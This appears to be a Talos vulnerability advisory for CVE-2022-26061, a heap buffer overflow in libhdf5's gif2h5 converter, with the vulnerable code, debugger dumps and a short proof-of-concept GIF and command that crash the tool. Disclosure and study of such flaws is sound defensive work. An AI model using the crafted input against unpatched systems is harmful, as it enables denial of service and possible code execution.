Talos Vulnerability Report

TALOS-2022-1487

HDF5 Group libhdf5 gif2h5 heap-based buffer overflow vulnerability

AUGUST 16, 2022

CVE NUMBER

CVE-2022-26061

SUMMARY

A heap-based buffer overflow vulnerability exists in the gif2h5 functionality of HDF5 Group libhdf5 1.10.4. A specially-crafted GIF file can lead to code execution. An attacker can provide a malicious file to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

HDF5 Group libhdf5 1.10.4

PRODUCT URLS

libhdf5 - https://www.hdfgroup.org

CVSSV3 SCORE

7.8 - CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-122 - Heap-based Buffer Overflow

DETAILS

HDF5 is a file format that is maintained by a non-profit organization, the HDF Group. HDF5 is designed to store and organize large amounts of scientific data. It is used to exchange data structures between applications in industries (such as the GIS industry) via libraries such as GDAL, OGR or as part of software like ArcGIS.

Their included gif2h5 tool is used for converting GIF data to the HDF5 file format.

The vulnerability exists in their gif2h5 tool/library, specifically in ReadGifHeader() function while attempting to convert GIF files to their HDF5 format. The vulnerability exists due to a failure to check the size of an allocated heap buffer while writing and parsing GIF image data stream.

When attempting to parse the GIF local image descriptor, a buffer is allocated based on the width and height of the image to store the image data stream. We can see this occur in gifread.c under the ReadGifImageDesc() function:

In this case we are using an image that is 5x5, so malloc(0x19) is called which returns a chunk of usable size, 0x28 (40). Following this, the data stream is read and written to the GiflmageDesc->GIFlmage member without any bounds checking. It instead relies on valid block size values, allowing an attacker to arbitrarily write data beyond the bounds of the heap buffer. This can lead to code execution.

```
TempPtr = GifImageDesc->GIFImage;
192
/*
     Here we can see our allocated buffer at 0x555555a840a0:
     gef➤ hexdump TempPtr
                     0x0000555555a840a0
 . . . . . . . . . . . . . . .
     0x0000555555a840c0
                    00 00 00 00 00 00 00 00 41 ff 01 00 00 00 00 00
......A....
     . . . . . . . . . . . . . . . .
*/
         do {
193
            ch = ch1 = (int)*(*MemGif2)++;
194
            while (ch--)
195
               *TempPtr++ = *(*MemGif2)++;
196
         } while (ch1);
197
198
         return (0); /* No FILE stream error occured */
199
```

Here, we can see that we have written data well beyond the bounds of the heap buffer.

gef➤ hexdump 0x00005																
0x0000555555a840a0	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41
AAAAAAAAAAAA																
0x0000555555a840b0	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41
AAAAAAAAAAAA																
0x0000555555a840c0	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41
AAAAAAAAAAAA																
0x0000555555a840d0	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41
AAAAAAAAAAAA																
0x0000555555a840e0	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41
AAAAAAAAAAAA																
0x0000555555a840f0	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41
AAAAAAAAAAAA																
0x0000555555a84100	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41
AAAAAAAAAAAA																
0x0000555555a84110	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41
AAAAAAAAAAAA																
0x0000555555a84120	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41
AAAAAAAAAAAA																
0x0000555555a84130	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41
AAAAAAAAAAAA																
0x0000555555a84140	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41
AAAAAAAAAAAA																
0x0000555555a84150	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41
AAAAAAAAAAAA																
0x0000555555a84160	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41
AAAAAAAAAAAA																
0x0000555555a84170	41	41	41	41	41	41	41	41	41	41	41	41	41	00	00	00

Leading to a crash:

malloc(): corrupted top size
Program received signal SIGABRT, Aborted.

Exploit Proof of Concept

GIF file

```
00000000: 4749 4638 396c 0a00 0300 020d 188e b9fd GIF89l.....
00000010: 616c 0e00 2c00 0003 0005 0005 0000 0041 al.,.....A
$ gif2h5 PoC.gif test.h5
Unknown Block Separator Character: 0x8e
Unknown Block Separator Character: 0xb9
Unknown Block Separator Character: Oxfd
Unknown Block Separator Character: 0x61
Unknown Block Separator Character: 0x6c
Unknown Block Separator Character: 0xe
Unknown Block Separator Character: 00
malloc(): corrupted top size
  449683 abort (core dumped) gif2h5 access_violation.min.gif test.h5
[1]
```

TIMELINE

2022-03-21 - Vendor Disclosure 2022-08-16 - Public Release

CREDIT

Discovered by Dave McDaniel of Cisco Talos.

VULNERABILITY REPORTS

PREVIOUS REPORT NEXT REPORT

TALOS-2022-1527

TALOS-2022-1485

